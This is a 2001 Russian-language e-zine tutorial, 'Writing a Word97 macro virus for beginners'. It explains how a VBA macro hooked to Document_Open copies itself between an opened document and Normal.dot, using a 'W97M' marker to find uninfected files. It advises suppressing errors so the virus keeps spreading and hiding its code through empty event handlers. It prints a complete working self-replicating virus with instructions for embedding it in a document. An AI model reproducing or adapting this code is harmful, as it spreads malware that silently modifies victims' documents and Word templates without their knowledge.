                            (моя первая е-зина) BKNY0NNX // SBVC (c) 27.10.2001
-------------------------------------------------------------------------------

	Написание Word97-макровируса для начинающих

 Все слышали о том, что чуть ли не каждое заражение приходится на макровирус. Вы
считаете, что написание такого вируса слишком сложно для начинающего? Отнюдь!
Для этого необходимо только знать Visualь Basic

 В основе работы любого макровируса лежат события при различных операциях с
документом: открытие, закрытие, сохранение, печать...(Полный список см. в
"Антифирусной енцикалпэдии Казперзкафа":)) Чтобы вирус сумел заражать необходимо
обрабатывать хотя бы одно событие, напр. Открытие AKA Document_Open:

Sub Document_Open()
... тута код вира ...
End Sub

События, я надеюся, вы научились обрабатывать. Теперь необходимо копировать код
вируса туда, куда необходимо. В общем, необходимо копировать код вируса в
заражаемый документ (без этого нельзя ;) и Normal.dot - для активации при каждом
запуске Word'а.

Как это реализуется:

Копирует макросы из Нормала в документ:

If NT.Lines(1, 1) <> "'W97M" Then		' Если НормалДот не заражён то
NT.DeleteLines 1, NT.CountOfLines		' удаляем в нём все строки кода
NT.InsertLines 1, AD.Lines(1, AD.CountOfLines)	' и копиим себя из АктивногоДока
End If						'

Копирует макросы из документа в Нормал:

If AD.Lines(1, 1) <> "'W97M" Then		' Если АктивныйДок не заражён то
AD.DeleteLines 1, AD.CountOfLines		' удаляем в нём все строки кода
AD.InsertLines 1, NT.Lines(1, NT.CountOfLines)	' и копиим себя из НормалаДота
End If						'

Эти фрагменты просто построчно копируют код вируса, если в его начале кода стоит
комментарий "W97M"

Да, AD и NT всего лишь указывают на обьекты кода:
Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule

Лучше и проще пытаться копировать себя из жертвы в НормалДот и наоборот:
откуда-нибудь да скопируется ;)

СТЕЛЗ-механизмы реализуются созданием ПУСТЫХ ОБРАБОТЧИКОВ событий на те события,
которые угрожают показать код вира

Ну и, конечно же, не забудьте обрабатывать ошибки, напр. так:
On Error Resume Next
Пусть хоть наступит конец света (горэнерго прикалывается ;), но вирус должен
распространится :)

Ну а вот код созданного вами вира:

'W97M
'Вешаемся на обработку ОткрытияФайла
Sub Document_Open()
'Не реагируем на ошибки
On Error Resume Next
'Устанавливаем обьекты
Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
'Копиим себя из Нормала в жертву
If NT.Lines(1, 1) <> "'W97M" Then
NT.DeleteLines 1, NT.CountOfLines
NT.InsertLines 1, AD.Lines(1, AD.CountOfLines)
End If
'Копиим себя из жетвы в Нормал
If AD.Lines(1, 1) <> "'W97M" Then
AD.DeleteLines 1, AD.CountOfLines
AD.InsertLines 1, NT.Lines(1, NT.CountOfLines)
End If
'Усё!
End Sub

Для подготовки вира нужно:
 1. Создать документ в Ворде и напихать туда кучу текста и картинок ;)
 2. Войти в редактор VBA (Сервис\Макрос\Редактор Visual Basic) или по Alt+F11
 3. В дереве проекта кликнуть дважды мышью Project\ThisDocument или F7
 4. Ввести код вируса
 5. Сохранить

 Задание на дом:
 Написать стелз

					Желаю удачи!
